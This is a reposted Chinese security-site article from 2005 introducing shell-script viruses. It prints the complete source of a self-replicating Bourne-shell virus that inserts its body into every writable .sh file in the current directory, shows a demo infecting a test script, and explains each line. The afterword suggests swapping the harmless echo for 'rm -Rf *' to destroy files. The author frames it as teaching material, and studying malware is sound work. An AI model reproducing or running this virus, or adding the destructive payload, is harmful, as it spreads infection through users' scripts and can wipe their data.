黑基网 首页 学院 网络安全 查看内容

SHELL病毒简介

2005-1-4 05:50| 投稿: security

摘要: 转自:http://cnbird.99blog.com/ 1. 前言  说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,...
转自:http://cnbird.99blog.com/ 1. 前言  说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。  这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。2. 程序代码#!/bin/sh#文件名: virus_demo.sh#用途  : shell病毒演示。#说明  : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。#编写  : [email protected]#日期  : 2003-5-13#B:<+!a%C&t:>vFile=$_ ; vTmp=/tmp/.vTmp.$$for f in ./*.sh; do  if [ ! -w $f -a ! -r $vFile ];  then continue; fi  if grep '<+!a%C&t:>' $f ;       then continue; fi  if sed -n '1p' $f | grep 'csh'; then continue; fi  cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi  vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`  sed -n "1,${vNo}p" $vTmp >$f  (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f  vNo=`expr $vNo + 1`  sed -n "${vNo},\$p" $vTmp >>$f  rm -f $vTmpdone >/dev/null 2>&1unset vTmp ;unset vFile ;unset vNoecho "Hi, here is a demo shell virus in your script !"#E:<+!a%C&t:>#EOF看shell是多么得强大,这么短短得程序就能感染其他程序文件。3.  演示测试一下:先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。[[email protected] /export/home/cloud/vir]> ls -ldrwxr-xr-x   2 cloud    staff        512  6??  4 17:43 ./drwxr-xr-x  10 cloud    staff       1024  6??  4 17:41 ../-rwxr--r--   1 cloud    staff         89  6??  4 17:43 test.sh-rwxr--r--   1 cloud    staff        773  6??  4 17:42 virus_demo.sh来看看我们这个"肉鸡"脚本,很简单:[[email protected] /export/home/cloud/vir]> cat test.sh#!/bin/sh# Just a demo for virus test# Author : foo# Date   : 3000-1-1ls -l#EOF好了开始感染他。[[email protected] /export/home/cloud/vir]> ./virus_demo.shHi, here is a demo shell virus in your script !来看看感染后的结果:[[email protected] /export/home/cloud/vir]> cat test.sh#!/bin/sh# Just a demo for virus test# Author : foo# Date   : 3000-1-1#B:<+!a%C&t:>vFile=$_ ; vTmp=/tmp/.vTmp.$$for f in ./*.sh; do  if [ ! -w $f -a ! -r $vFile ];  then continue; fi  if grep '<+!a%C&t:>' $f ;       then continue; fi  if sed -n '1p' $f | grep 'csh'; then continue; fi  cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi  vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`  sed -n "1,${vNo}p" $vTmp >$f  (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f  vNo=`expr $vNo + 1`  sed -n "${vNo},\$p" $vTmp >>$f  rm -f $vTmpdone >/dev/null 2>&1unset vTmp ;unset vFile ;unset vNoecho "Hi, here is a demo shell virus in your script !"#E:<+!a%C&t:>ls -l#EOF看,病毒体:#B:<+!a%C&t:>. . . . #E:<+!a%C&t:>被拷贝过来了,这样病毒就被传播了。值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。来执行看看我们新的病毒体看看:[[email protected] /export/home/cloud/vir]> ./test.shHi, here is a demo shell virus in your script ! <-- 看,病毒体内部的打印信息。        -rwxr-xr-x   1 cloud    staff        724  6??  4 17:44 test.sh-rwxr-xr-x   1 cloud    staff        773  6??  4 17:42 virus_demo.sh4. 简单讲解我们来一步步分析一下这个病毒:#B:<+!a%C&t:> 病毒体开始标记,用于程序复制自己定位用vFile=$_ ; vTmp=/tmp/.vTmp.$$定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序名称,后面就找不到从哪里去找病毒体来拷贝了。for f in ./*.sh; do开始循环,找到当前目录下的所有.sh结尾的程序。  if [ ! -w $f -a ! -r $vFile ];  then continue; fi  目标是否有写权限,病毒源文件是否有读权限。  if grep '<+!a%C&t:>' $f ;       then continue; fi  目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?  if sed -n '1p' $f | grep 'csh'; then continue; fi  如果目标shell是以csh的那语法上差异太大了,放弃吧。  cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi  好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。  vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`  这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不  过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体  插入点。  sed -n "1,${vNo}p" $vTmp >$f  一个sed命令把目标文件的开始注释部分从备份文件中copy回来。  (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f  再来一个sed完成搬运病毒体的工作。  vNo=`expr $vNo + 1`  sed -n "${vNo},\$p" $vTmp >>$f  最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!  rm -f $vTmp  清理一下临时文件done >/dev/null 2>&1循环结束unset vTmp ;unset vFile ;unset vNo清理一下犯罪现场。echo "Hi, here is a demo shell virus in your script !"都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。#E:<+!a%C&t:>病毒体结束标记,用于程序复制自己定位用5. 后记  从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得花多少功夫。  上面得程序已经在Linux和Solaris上测试通过,windows上得用户在Cygwin上应该也行。  顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是教写病毒出去害人,切记切记!#EOF#GAME OVERecho "望斧正!"
小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论


新出炉

返回顶部